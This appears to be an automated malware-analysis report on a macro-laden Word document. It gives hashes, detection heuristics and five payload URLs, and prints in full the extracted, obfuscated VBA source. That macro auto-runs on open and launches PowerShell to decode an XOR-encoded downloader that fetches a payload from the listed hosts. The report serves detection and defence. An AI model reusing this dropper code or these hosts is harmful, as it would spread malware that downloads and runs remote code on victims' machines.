Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe365962a3d26cdf…

MALICIOUS

Office (OLE)

97.0 KB Created: 2018-06-13 07:47:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 8bb6fa79ab95df3ad6f9db462b0c588e SHA-1: ac8ffe40422a158213ba4f1d944bc9780a0fe7cb SHA-256: fe365962a3d26cdf3a891d6e8bce0b64293fde7dd45e341ef4d428d4c867515d
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.0053456c-6874533-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.0053456c-6874533-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    GURfc = pzkzZ
TZCIdAw = CqntZqG + VBA.Shell(umWjdEMR + Chr(jtkDLbNCHY + vbKeyP + MqtHU) + "owers" + bfwBVn + vjtlJt + NQBDOBshP + iAuhGq + jbSQi + RimhZQkQff + kmsJfAIiw, 61365 - 61365)
DVXhtp = QwWqU
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.peachgirl.ru/10dwZE0M/ Referenced by macro
    • http://www.intra_new.arkan.ru/mYTdwj/Referenced by macro
    • http://www.nltu.lviv.ua/8HkTbOjz/Referenced by macro
    • http://www.prostokvashino.rupskov.ru/CrfXEDd2Rd/Referenced by macro
    • http://www.vibor-anapa.ru/SRkHffTSi/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15046 bytes
SHA-256: 8948e9b18450444e44b9606de920d264bca15539da49a262fc95a9bb5ae69ef2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
255 of 407 identifiers look randomly generated (e.g. 'YjOnPikJjFMq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PzjIiOB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function TZCIdAw()
On Error Resume Next
SfjGZX = UOpGlk
XQvuG = CDbl(GNYLXF * CDbl(HsnlRl + Int(KLBVCn * Rnd(20892)) * twIwvY * Log(84673 * DtTQi - HYjTm + Fix(51))))
PSwoZ = Tan(25758)
PZrSl = CDbl(TZDaKM)
bbDpzB = Tan(81965)
rkszU = FDcmj
hfldCA = HmhVIJ
OjrLs = CDbl(AlImmI * CDbl(EVAik + Int(PfkFGp * Rnd(93789)) * tTVHia * Log(52821 * VbjaR - wXzrtj + Fix(51))))
jFSvS = Tan(94235)
ikVvqH = CDbl(mfIhq)
mlDkit = Tan(89071)
AYvKLV = MGOwNO
rqNfbn = kTjMto
MIaTYL = CDbl(XVZhb * CDbl(kUJIB + Int(zIihf * Rnd(69771)) * DcmfjU * Log(50635 * UJvjI - XTUnz + Fix(51))))
hSWzj = Tan(63750)
qdiavi = CDbl(HolqpN)
muPKa = Tan(21227)
fPLNc = napNuh
rqjAzR = iiizk
HfEzzS = CDbl(PnRfNw * CDbl(wbJkRd + Int(nYcNf * Rnd(52509)) * sGizz * Log(71415 * iJiHGn - DZDmw + Fix(51))))
vJNbFY = Tan(69830)
TGbkSq = CDbl(XhiiQ)
PHZuj = Tan(13348)
GURfc = pzkzZ
TZCIdAw = CqntZqG + VBA.Shell(umWjdEMR + Chr(jtkDLbNCHY + vbKeyP + MqtHU) + "owers" + bfwBVn + vjtlJt + NQBDOBshP + iAuhGq + jbSQi + RimhZQkQff + kmsJfAIiw, 61365 - 61365)
DVXhtp = QwWqU
lPvpt = CDbl(VRkiG * CDbl(JlmMm + Int(uRZKlw * Rnd(69939)) * nuYANJ * Log(9358 * voOvn - vZTmR + Fix(51))))
jEKlho = Tan(32767)
wbdwF = CDbl(ibtjU)
kDiEJW = Tan(91650)
zEqzzq = YWAqz
CHUKQ = frTfjR
hfMjG = CDbl(LXjwk * CDbl(TzHvLZ + Int(djvzWm * Rnd(64447)) * jjCUG * Log(65877 * YVWjN - jqWLk + Fix(51))))
FAjQUr = Tan(82913)
lliquZ = CDbl(iqdcd)
wqXwIG = Tan(83920)
IbmYbL = zsZlm
End Function
Private Sub Document_open()
On Error Resume Next
uamnf = oFBzsj
koPlX = CDbl(uXpsLw * CDbl(poJVG + Int(ONBioz * Rnd(85875)) * XOwtjC * Log(60782 * wtXMO - rFhaq + Fix(51))))
kJJju = Tan(26624)
iGblfs = CDbl(Itzft)
zzwjsK = Tan(40168)
TsPzu = vVwAN
hmmpS = jVwjLi
zDjHhi = CDbl(qZWmGO * CDbl(OFzqiz + Int(LlhCz * Rnd(21927)) * wwmlS * Log(33447 * NHQlj - jIPAj + Fix(51))))
QnXSP = Tan(443)
mlRwFj = CDbl(jrakB)
ISQwt = Tan(63921)
zRAziE = wcDVjS
TZCIdAw
awIKBJ = phfwv
qRSOo = CDbl(mKhvSm * CDbl(UoIYqz + Int(SrEpX * Rnd(7116)) * imWqiX * Log(75750 * dQnFT - TsBqYL + Fix(51))))
CviCtD = Tan(67115)
NdqkvH = CDbl(LEjPC)
djIoBq = Tan(76156)
Krkld = zwDwz
MQnzUY = vhwGJI
TpXCXh = CDbl(AKiqrv * CDbl(RzDCi + Int(wuEmR * Rnd(10244)) * DQGrq * Log(69701 * hQqwJ - LLFIHc + Fix(51))))
zAGNBh = Tan(63183)
YkklSO = CDbl(jDnAHb)
iiksEa = Tan(10276)
AHEtj = kpwfod
End Sub


Attribute VB_Name = "YjOnPikJjFMq"
Function bfwBVn()
On Error Resume Next
uzrHS = PnkrDV
LwiaZA = zYiAzh
UihTok = Tan(35984)
rvjGql = Tan(35456)
bfCiG = CDbl(skiAt)
jFXzMT = CDbl(ijMbV * CDbl(MSqLL + Int(OMHZU * Rnd(29014)) * GiwBM * Log(64224 * NMajtZ - acPWzE + Fix(51))))
MuYbK = "HeLL ([chAr[]]" + "( 15 ,94 , 111" + " ,94 ,79" + " , 95 , 11"
udJjd = GUthN
iwkujK = mhrlW
naLoXo = Tan(88792)
NmzQi = Tan(45807)
nAGqz = CDbl(jrYodv)
jwUna = CDbl(CUijk * CDbl(hXsasT + Int(cwszOw * Rnd(51278)) * SdFsG * Log(63188 * dORMq - VczPAS + Fix(51))))
IjkJoXqVlkI = ",22, 11 ," + "69 , 78 , 92" + ", 6,68 ," + "73, 65, 78, 7" + "2 , 95,11" + " ," + "89,74, 69 " + ", " + "79 , 68,"
fzwIz = VKqKUj
HpOKWq = mkbbWW
uLTHK = Tan(25898)
bUsSRU = Tan(33538)
ojDzI = CDbl(TEcMC)
swBIua = CDbl(ouTsLY * CDbl(rZHTM + Int(KEPwK * Rnd(73639)) * UjSGqI * Log(86202 * vQIZqz - uvSKS + Fix(51))))
zthDlpno = "70 ,16 , 15 " + ", 1" + "20 ,10" + "2,104 , 90" + ",115 , 79 " + ", 11" + ", 22,1" + "1 ,69, 78 ,92 ," + " 6,68 "
HvTKz = iSXBfD
uUnONK = qfORi
NdBljn = Tan(40804)
TLZYw = Tan(98157)
zbGRIf = CDbl(JZFmaG)
GmRwD = CDbl(NoDhi * CDbl(Wzopu + Int(dNVJLK * Rnd(64528)) * ocfics * Log(73132 * tjtaU - lrrnJC + Fix(51))))
ulhcapwV = ",73,65 , 78" + " ,72 , 95,11 ,1" + "20, 82 ,8" + "8 ,95 , 78,7" + "0 , 5 , 101" + ", " + "78,95 , 5,124"
inmIHF = SldqBb
FmIMwz = RhXckJ
GuNBl = Tan(41469)
zdssEQ = Tan(42534)
SABSwG = CDbl(oQSfO)
FRYot = CDbl(fEFmF * CDbl(mfjMh + Int(kHCIK * Rnd(97932)) * cwApi * Log(6296 * SdYbU - XGRBh + Fix(51))))
YSqaKzBj = " , 78 , 73 , " + "104 , 71,6" + "6 ," + "78," + " 69,9" + "5 , 16 , 1" + "5 ,114, 115," + " 65,99 " + ", 121,11 ,"
SHksVi = UubOD
RRLbUv = GnlmFo
OtEQV = Tan(86703)
sGOvOU = Tan(78607)
pzmHO = CDbl(hjBjFC)
IEtjd = CDbl(jXKRV * CDbl(jiCXQ + Int(mwVVzf * Rnd(70977)) * qfqEOV * Log(114 * zJBiq - DuGuG + Fix(51))))
jwftHFEIU = "22 ,11," + "12, 67,95 ,95" + " , 91 , 17,4 ,4" + ", 92,92,92 ,5,9" + "1, 78 ,74, 7" + "2 ,67 , 76 , 66" + " , 89 " + ", 71, " + "5," + " 89"
bfwBVn = MuYbK + IjkJoXqVlkI + zthDlpno + ulhcapwV + YSqaKzBj + jwftHFEIU
End Function
Function vjtlJt()
On Error Resume Next
ZuMaZ = ttams
CKbLC = mIlBNA
CaGiK = Tan(19486)
jhzaa = Tan(68149)
akVLqu = CDbl(CIKsX)
HiGJLu = CDbl(pwvWYE * CDbl(MAibGW + Int(zIjZqi * Rnd(92407)) * jsONLR * Log(806 * oOfwfD - Fnwza + Fix(51))))
klUUPML = " , 94 " + ",4, 26 , 27" + " , 79,92," + "113 , 11" + "0,27 , 102 ," + " 4, 1" + "07, 67 ,95,95," + " 91, 17, " + "4 ,4," + "92 ,92, "
NFKfZ = AZsakC
ZzEtT = lnMzc
kcEcwC = Tan(28073)
VmjSHj = Tan(1737)
cIRvY = CDbl(uKAWpq)
aOiIN = CDbl(EKQhAw * CDbl(bUIjkA + Int(rQlaqS * Rnd(13547)) * PFjdJ * Log(73820 * HDYEb - qrszFQ + Fix(51))))
uvjNCkwhis = "92 " + ", 5 , 66, 69" + ",9" + "5 ,89 , " + "74" + " ,116, 69, " + "78,92, " + "5 , 74,8"
QWqrC = hiJAoz
AiuGJ = twjsc
srpXw = Tan(73381)
inBEj = Tan(12813)
HKoNpa = CDbl(EJrjk)
ZbXXu = CDbl(XGOkji * CDbl(sKCHJv + Int(iSQjKE * Rnd(42676)) * CEsAz * Log(37505 * nLPHHI - JPuMZ + Fix(51))))
TciwoAGq = "9 ,64, 74,69, " + "5 ,8" + "9 ," + "94 ,4 " + ", 70 ,114,127 " + ", "
XvrPQi = WlRsXb
VcXCRj = wzXLc
mGLiC = Tan(9562)
FdLOVD = Tan(22478)
fDiFb = CDbl(JkAdNo)
AVAwV = CDbl(EAwJz * CDbl(KVYtu + Int(jYcvu * Rnd(36898)) * kHamJc * Log(55024 * TFHKQ - uHkXS + Fix(51))))
wzcKdvuZ = "79, 9" + "2,65,4" + " , 107" + ", " + "67, 95, 95" + " ,91,17, 4,4" + ",92 , 92 ," + " 92,"
wpCLPH = XzMzE
RkAjdH = uiWil
Kqsszj = Tan(50251)
CiwsjE = Tan(53128)
IfiPD = CDbl(DzVsK)
rOvSU = CDbl(fumqhA * CDbl(HFDlik + Int(aiGPk * Rnd(9937)) * FqnVp * Log(80063 * KPBZOd - CiuSjr + Fix(51))))
ADjjZw = " 5,69, 71 ,9" + "5 ,94 ,5 " + ",71 , 93 ,66" + " , 9" + "3,5, 9" + "4, 7"
vjtlJt = klUUPML + uvjNCkwhis + TciwoAGq + wzcKdvuZ + ADjjZw
End Function
Function NQBDOBshP()
On Error Resume Next
LvpME = rqzQCO
VzHVr = ZXzfYa
zstwa = Tan(63137)
XvAud = Tan(83834)
UfEnG = CDbl(LImit)
BDVnj = CDbl(qXCNvi * CDbl(BjdDEs + Int(BVwhj * Rnd(39254)) * hlYUn * Log(44325 * MTZMNB - lSkLn + Fix(51))))
JLFREImDmwr = "4, 4 , " + "19 ,99 ,64, 12" + "7 , 73," + " 10" + "0, 65 , 8" + "1 , 4 ,107,67 " + ",95 ,95 " + ",91, 17 ,4"
mNRwz = hLsfn
GzNjPm = Apswn
aUrvz = Tan(46568)
tHTor = Tan(53901)
lrBOj = CDbl(iXUso)
DcRIjp = CDbl(ipaEc * CDbl(RNFsUv + Int(zBNhI * Rnd(94695)) * lqBHR * Log(29380 * SQpKI - WLQXJ + Fix(51))))
bfQFb = " , 4 , 92 , 9" + "2 , 92 , " + "5 , 91 ,89, 68" + ", " + "88 , 95 ,"
IlJjzw = ivNUKJ
iOijQ = GKZfC
zdvNNF = Tan(53648)
qYDXzt = Tan(90133)
rTwHX = CDbl(wXrazb)
cDXqI = CDbl(ujPMK * CDbl(EQYKw + Int(Zazkk * Rnd(46495)) * livIXm * Log(25774 * UImBMO - wOoWDZ + Fix(51))))
SYtjbRwf = "68 , 64, 93 ,7" + "4, 88 ," + " 67 , 66, 69,6" + "8 " + ", 5 , 89 , 94 ,"
kzPFi = uoYXXE
TCFrn = rzvGz
dhUhQ = Tan(87285)
SNKYHB = Tan(98496)
XIAZi = CDbl(KwYvwn)
rrldQH = CDbl(mwFiz * CDbl(FjJjC + Int(akrSHi * Rnd(11182)) * brzSO * Log(24485 * qabjH - BMUNX + Fix(51))))
lFpzOfRKba = " 91 , 88, 64" + ",68 , 93 " + ",5, 8" + "9 ,94 ,4" + ",104, 89,77,115" + ", 110 , 111 ,7" + "9 , 25 ,121,79 "
aBowD = MYjMj
pHpAzh = EcRVZH
LfEKob = Tan(80093)
XcdHJh = Tan(47650)
JNzAsB = CDbl(cpTblI)
fSOzQ = CDbl(cwkdUv * CDbl(iTRlRO + Int(vpZEl * Rnd(34511)) * jwGBfb * Log(811 * KtKQaU - XMjCFO + Fix(51))))
YwRCwRDXjl = ", 4, 107," + " 67 ,95,95, 91" + ", 17 , 4, 4 , " + "92" + " ,92,92," + " 5, 93 , 66"
mXhBsE = LFFonl
jzRZb = skqiid
FVDbzm = Tan(95894)
lawUnZ = Tan(14541)
THSJwD = CDbl(iFKYR)
mFDWpX = CDbl(flimQ * CDbl(QDfVfC + Int(qodjOW * Rnd(26414)) * chAhGV * Log(97757 * szzBk - wSiJhZ + Fix(51))))
UhUGGazX = ",73, 68,89, 6 " + ", 74, 6" + "9, 74" + ",9" + "1," + " 74 , 5,89 ,9" + "4," + "4 , 120 , 12" + "1 "
hcbFUE = WJCtBo
Zqfrni = oYwJIH
EHZuT = Tan(85655)
MzFGi = Tan(1870)
FQTRC = CDbl(Mthvw)
zVaHi = CDbl(QOBdW * CDbl(jqjzD + Int(QnNhCJ * Rnd(9370)) * vWjGf * Log(59624 * EPbfzA - dLoBVc + Fix(51))))
hCZKwlzAOB = ",64 , 99 ," + "77 , 77, 1" + "27 , 120," + "66, 4, 12, 5 "
NQBDOBshP = JLFREImDmwr + bfQFb + SYtjbRwf + lFpzOfRKba + YwRCwRDXjl + UhUGGazX + hCZKwlzAOB
End Function
Function iAuhGq()
On Error Resume Next
rwJRY = EnXhz
zzIOw = hkdtCi
vKFDJ = Tan(30634)
UqPHLL = Tan(73969)
WvBFz = CDbl(bfkiXT)
ZdCFqd = CDbl(KCWRc * CDbl(sWiaj + Int(EXdbwG * Rnd(14849)) * pZYzw * Log(19268 * vMMBVi - zwcql + Fix(51))))
QpKkqUTsMUS = ",12" + "0 ,91,71," + "66 ," + "95,3 ,12,10"
RcuLX = SnNjQM
ikMzKH = mGkPR
Xomjz = Tan(17320)
UkHfT = Tan(41130)
mkBAC = CDbl(IVNipz)
XSjwB = CDbl(iwLlwO * CDbl(ziwUA + Int(Ihkii * Rnd(94768)) * KWawDI * Log(29463 * iCEIdf - tXwNlI + Fix(51))))
wrtYwns = "7,12 ,2 , 16" + " , 15 , 110, " + "114, 98,7" + "4 , 70,11 ,2" + "2 ,11,1" + "5 ,94, 111 ,9" + "4,79,95, 5 , 6" + "9 ,78,83 , 95 ," + " 3, 26, 7,11, 2" + "9,30 , 19"
NHsQH = dwwrZk
vSCHb = iYKQY
aYoIB = Tan(88018)
DwlLTK = Tan(12150)
QTmCXR = CDbl(HUVhsO)
BpvuaM = CDbl(qkYAk * CDbl(MaJjBO + Int(skVJrD * Rnd(90869)) * jPDSsa * Log(78768 * CrkGz - mWRRS + Fix(51))))
CTLZTG = ",25" + " ," + " 3" + "1,26 , 2," + " 16,15,113" + ", 70,9"
zQBOW = JQrvUs
tQoNp = IRBkZ
JMYaT = Tan(61120)
LLbvRw = Tan(63520)
usaso = CDbl(HulXmc)
sMRwr = CDbl(OPRVud * CDbl(lPvtaQ + Int(hwTqDD * Rnd(35315)) * VjzHA * Log(62236 * wufDXk - GYWLa + Fix(51))))
oQMPaIQiH = "4 ,69,81 ,79," + "11" + ", 22 , 11,1" + "5 , 78"
Gpjil = sQDSn
sFUmP = cWVAji
Rkszka = Tan(46600)
OwIHWn = Tan(39602)
hdjwcp = CDbl(hCTpE)
EsLKD = CDbl(WGCzFz * CDbl(MKmdB + Int(IwGLhb * Rnd(15360)) * htVulK * Log(14572 * EzwSN - DpIPnC + Fix(51))))
hValOzsChEw = " ,69,93 , 17 " + ",95,78 " + ", 7" + "0 , 91 ,11,0,11"
cUoldO = RKpOCj
jMXTNW = JrIFvz
joEzd = Tan(85016)
PPJdu = Tan(3295)
pbZrEw = CDbl(dYfpF)
fKvLQw = CDbl(fhdLv * CDbl(MZDDHR + Int(VqjVT * Rnd(23606)) * ABIwWp * Log(13122 * EOSiDT - ftHRf + Fix(51))))
WJtYFNOSq = " ,12," + " 119 ,12,11" + " , 0 ,11 ,15 ," + " 110,114 ," + "98, 74 ,70 , 1" + "1,0"
iAuhGq = QpKkqUTsMUS + wrtYwns + CTLZTG + oQMPaIQiH + hValOzsChEw + WJtYFNOSq
End Function
Function jbSQi()
On Error Resume Next
uwBiwS = oUBWb
coaZED = HOSLvw
EKmkVD = Tan(79235)
RNEBsz = Tan(57201)
XzHPE = CDbl(VbLOz)
zSTPF = CDbl(fmKpX * CDbl(wPUiw + Int(GirAL * Rnd(8166)) * iqDaw * Log(82200 * dBOlhd - ROqdkB + Fix(51))))
QUwloEJOBz = " ,11 ,12, 5 ," + " 78, 83" + ", 78, " + "12 ," + " 16 " + ", 77" + ", 68,89, 78 , 7" + "4 , 72 , 67 , 3"
TzQRK = HJwGYv
vQiPiS = UwniP
HdKaZY = Tan(14078)
idfQq = Tan(50504)
YzIIrI = CDbl(zWqYh)
OlIJEn = CDbl(mAtVc * CDbl(MaspKU + Int(LqiSlE * Rnd(58535)) * vrjWGp * Log(76311 * VWMDXA - WImwFw + Fix(51))))
PslHkiwUdOi = " , 15,10" + "5, 74 , 12" + "7 , 71" + ",92" + " ," + " 73 ," + " 11 ,66 , 69 ," + "11,15 ,114 ,"
JcnTTZ = JswQL
fwNuOJ = JJQIjR
NzWahX = Tan(42486)
kDMjP = Tan(29861)
TvWHN = CDbl(Bhrvs)
oftJP = CDbl(zjZtkM * CDbl(YKmqa + Int(vrUkW * Rnd(4733)) * Jwziw * Log(84457 * OvXTWA - mwYUKB + Fix(51))))
icUYTicjNY = "11" + "5," + " 6" + "5,99" + " ," + " 12"
IoSZKM = fiWDi
IBcbw = nTkRh
vlIpw = Tan(65046)
PvwcH = Tan(31690)
wuutU = CDbl(AhCVwo)
STckM = CDbl(GIAMU * CDbl(fLGzX + Int(EjiXZ * Rnd(14787)) * LWEmC * Log(47577 * OrsjnK - YAITvj + Fix(51))))
wwNVGlp = "1 ,2 , 80, 95 " + ",89 , 82 ,80 " + ",15,120 ,102 ," + " 104 , " + "90 ,115 , 79" + ", 5, 111 ," + "68,92 , 6"
ZdtHTY = qTOQR
QwzmS = mrwmVH
vrNiK = Tan(7850)
uQlvzG = Tan(82531)
Owvow = CDbl(uinItE)
zGSifj = CDbl(iPYqP * CDbl(pjwGYr + Int(hrsVnr * Rnd(74057)) * nkkiWp * Log(95546 * TNRXY - BYGXZk + Fix(51))))
bXBTVnFUP = "9,71,68 , 74" + ", 79 , 109 ,66" + " ,71,7" + "8," + "3, 15 ,105 ,7"
jbSQi = QUwloEJOBz + PslHkiwUdOi + icUYTicjNY + wwNVGlp + bXBTVnFUP
End Function
Function RimhZQkQff()
On Error Resume Next
rALFhX = TpWNQm
svWRda = jWkwiV
kTtzCs = Tan(97309)
assWD = Tan(24249)
WcRwj = CDbl(LStakP)
cSwGKl = CDbl(PuifW * CDbl(NBlREj + Int(AiGbd * Rnd(86580)) * UTjQlw * Log(19236 * auQtak - BnmHfX + Fix(51))))
AVQtXlL = "4, 127, 71,9" + "2 ,73 ,5 ,12" + "7 ,68,120 ," + "95 , 89,66, 6" + "9,76,3 " + ",2, 7 ," + " 11, 15" + ", 113, 70, 94"
IIVlo = dNiSXs
obcEj = VsjvHG
zcsuaH = Tan(94257)
PXotRz = Tan(29864)
rijuk = CDbl(nYNYz)
ThrUUV = CDbl(hFEhtN * CDbl(vFhSPL + Int(Lkddq * Rnd(74419)) * wpRIjp * Log(92837 * wYzdXq - WuLTua + Fix(51))))
sAROHwHEISB = " , 69 ,81" + " ," + "79" + " , 2 , 16, 1" + "20 ,95" + " , 74,89, 95 " + ", "
UwbPzv = zDZUpm
shjTud = SjWzv
GislN = Tan(43545)
JqpQl = Tan(28605)
kIDPEQ = CDbl(aSEUFi)
VirGHG = CDbl(djjZGq * CDbl(bazIb + Int(KMabC * Rnd(82462)) * WLiMU * Log(54360 * CiwiJf - LJBHM + Fix(51))))
wqAYhuRss = "6 ,123,89" + ", 68 , 72,7" + "8 ,88 , 88,11 " + ", 15 , 11" + "3,70,94 , 69" + " ,8"
Zwolk = DlYCXq
uajds = qtEjCi
HutKuu = Tan(58968)
rTswz = Tan(81833)
NZjHP = CDbl(iGlcGA)
liRVN = CDbl(tlEivO * CDbl(qiwLVH + Int(faVrmG * Rnd(22081)) * GwsSH * Log(54505 * JCXkW - cpwoPP + Fix(51))))
WMwiarapoYw = "1, 79,16 , 7" + "3,89 , 78" + " ,74 ,64 " + ",16 , " + "86,72, 74, 95" + ", 72 ,6" + "7 , 80" + " ,92 , 8" + "9,66, 95,78,"
fzoAnF = vsijf
IwcndH = ziLLI
bNJEi = Tan(63604)
tLEhX = Tan(26037)
GPLGE = CDbl(ESjQUW)
ViwEZ = CDbl(DaZoW * CDbl(QzzSB + Int(FtDPd * Rnd(37309)) * HdmGC * Log(25218 * ObwLNz - NKWjH + Fix(51))))
YIaNMiJkz = " 6 ,67 ,68 ," + "88 ,95,11 , 15," + " 11" + "6 , 5" + ", 110 , 8" + "3,72"
RimhZQkQff = AVQtXlL + sAROHwHEISB + wqAYhuRss + WMwiarapoYw + YIaNMiJkz
End Function
Function kmsJfAIiw()
On Error Resume Next
rBIsf = CBQqJi
ElzPq = jvphu
kPYRR = Tan(32647)
NZuTi = Tan(53699)
LJNKj = CDbl(zwjDZH)
NjadY = CDbl(QZfNO * CDbl(faiRiY + Int(isAWu * Rnd(96403)) * KjVFF * Log(21045 * dSpmwV - RCqrX + Fix(51))))
irKrWr = ",7" + "8, 9" + "1,95 ,66 , " + "68 , 69 ,5 " + ",102 , 78 , 8" + "8 , " + "88 ,74 , "
lGzFP = hjrqjh
qcUFfF = VMhwQ
wRKIF = Tan(98946)
iouIE = Tan(77660)
SHNBDS = CDbl(ThiLc)
UciHfm = CDbl(OTvTDf * CDbl(ALDbz + Int(SMOhDN * Rnd(49053)) * hpjrs * Log(88704 * CFncR - aWhAB + Fix(51))))
PwWIRiZjq = "76,78 ,16, 86" + ", 86 ) |FOREa" + "cH " + "{ " + "[chAr] ( $_-BXO" + "r " + Chr(34) + "0x2B" + Chr(34) + ")" + " }"
qGwos = LKiIf
NbwoEj = EltsV
hFURjv = Tan(76136)
NdzWj = Tan(56778)
tFfKEN = CDbl(oDdTV)
qOqTF = CDbl(GRwbRj * CDbl(BEjUK + Int(ikzJKJ * Rnd(1081)) * pdvzzK * Log(17903 * wnjRn - aOAiI + Fix(51))))
tnwQJo = ")-" + "Jo" + "In''| &( $eNv" + ":comSP" + "Ec[4,15,25]-" + "jo" + "In'')"
kmsJfAIiw = irKrWr + PwWIRiZjq + tnwQJo
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.